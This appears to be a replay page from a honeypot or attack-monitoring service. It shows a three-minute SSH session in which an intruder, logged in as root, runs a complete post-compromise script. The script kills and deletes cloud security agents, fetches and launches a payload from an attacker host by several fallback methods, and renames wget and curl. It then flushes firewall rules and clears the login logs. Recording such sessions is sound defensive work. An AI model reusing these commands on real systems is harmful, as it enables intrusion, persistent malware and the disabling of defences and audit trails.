← All sessions
Ended · replayGot in

Got in and set up a way to come back

on Abu Dhabi (Masdar City), United Arab Emiratesalder-herring-52i from Chisinau, Moldovaseen 2 times this weekSSH-2.0-PUTTY

root@ae-auh-oracle-2 · 🇦🇪 Abu Dhabi (Masdar City)
connected from 🇲🇩 Chisinau, Moldova · SSH-2.0-PUTTY
root@ae-auh-oracle-2's password: 
Logged in as root
root@ae-auh-oracle-2:~# wdir="/tmp"
root@ae-auh-oracle-2:~# for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do
    touch "$i/test_exec" >/dev/null 2>&1
    chmod +x "$i/test_exec" >/dev/null 2>&1
    if [ -w "$i" ] && [ -x "$i/test_exec" ]; then
        wdir="$i"
        rm -f "$i/test_exec"
        break
    fi
    rm -f "$i/test_exec" >/dev/null 2>&1
done
root@ae-auh-oracle-2:~# cd "$wdir" || exit 1
root@ae-auh-oracle-2:/dev/shm# echo "$wdir"
/dev/shm
root@ae-auh-oracle-2:/dev/shm# for svc in aegis aliyun YDService tat_agent; do
    systemctl stop $svc >/dev/null 2>&1
    systemctl disable $svc >/dev/null 2>&1
    systemctl mask $svc >/dev/null 2>&1
done
root@ae-auh-oracle-2:/dev/shm# systemctl daemon-reload >/dev/null 2>&1
root@ae-auh-oracle-2:/dev/shm# if command -v chattr >/dev/null 2>&1; then
    chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1
    chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1
fi
root@ae-auh-oracle-2:/dev/shm# pkill -9 AliYunDun >/dev/null 2>&1
root@ae-auh-oracle-2:/dev/shm# pkill -9 YDService >/dev/null 2>&1
root@ae-auh-oracle-2:/dev/shm# rm -rf /usr/local/aegis /usr/local/qcloud >/dev/null 2>&1
root@ae-auh-oracle-2:/dev/shm# download_vos() {
    local_arch=$(uname -m)
    SERVER_IP="[attacker]" 
    SERVER_URL="http://${SERVER_IP}/new.php?type=${local_arch}"
    target="new.txt"
    T_LIMIT=60
    MAX_ATTEMPTS=3
    attempt=1

    do_dl() {
        if command -v wget >/dev/null 2>&1; then
            wget --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v curl >/dev/null 2>&1; then
            curl -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v good >/dev/null 2>&1; then
            good --no-check-certificate -q -T $T_LIMIT "$SERVER_URL" -O "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v cool >/dev/null 2>&1; then
            cool -skL -m $T_LIMIT "$SERVER_URL" -o "$target" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v python3 >/dev/null 2>&1; then
            python3 -c "import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        if command -v python >/dev/null 2>&1; then
            python -c "import urllib; urllib.urlretrieve('$SERVER_URL', '$target')" >/dev/null 2>&1
            [ -s "$target" ] && return 0
        fi
        return 1
    }

    while [ $attempt -le $MAX_ATTEMPTS ]; do
        rm -f "$target" >/dev/null 2>&1
        
        do_dl &
        dl_pid=$!
        sec=0
        while [ $sec -lt $T_LIMIT ]; do
            if ! kill -0 $dl_pid 2>/dev/null; then
                wait $dl_pid
                break
            fi
            sleep 1
            sec=$((sec + 1))
        done
        kill -9 $dl_pid >/dev/null 2>&1

        if [ -s "$target" ]; then
            chmod +x "$target"
            setsid "./$target" >/dev/null 2>&1 &
            sleep 1
            if ! pgrep -f "$target" >/dev/null; then
                setsid sh "./$target" >/dev/null 2>&1 &
            fi
            return 0
        fi

        attempt=$((attempt + 1))
        sleep 2
    done

    return 1
}
root@ae-auh-oracle-2:/dev/shm# download_vos
root@ae-auh-oracle-2:/dev/shm# lock_tools() {
    if command -v chattr >/dev/null 2>&1; then
        chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1
    fi
    w_path=$(which wget 2>/dev/null)
    [ -n "$w_path" ] && [ "$(basename "$w_path")" != "good" ] && mv "$w_path" "$(dirname "$w_path")/good" >/dev/null 2>&1
    c_path=$(which curl 2>/dev/null)
    [ -n "$c_path" ] && [ "$(basename "$c_path")" != "cool" ] && mv "$c_path" "$(dirname "$c_path")/cool" >/dev/null 2>&1
}
root@ae-auh-oracle-2:/dev/shm# lock_tools
root@ae-auh-oracle-2:/dev/shm# systemctl stop firewalld ufw >/dev/null 2>&1
root@ae-auh-oracle-2:/dev/shm# iptables -F >/dev/null 2>&1
root@ae-auh-oracle-2:/dev/shm# for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f "$log" ] && echo > "$log"; done
root@ae-auh-oracle-2:/dev/shm# exit
root@ae-auh-oracle-2:~# ls -la /var/run/gcc.pid
ls: cannot access '/var/run/gcc.pid': No such file or directory
root@ae-auh-oracle-2:~# exit $?
Connection to ae-auh-oracle-2 closed.

Logged out · 3m 12s inside

3:12 / 3:12
What they found: A container cluster's worker nodeOne machine of a small company's self-hosted container cluster, running its customer-facing services.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.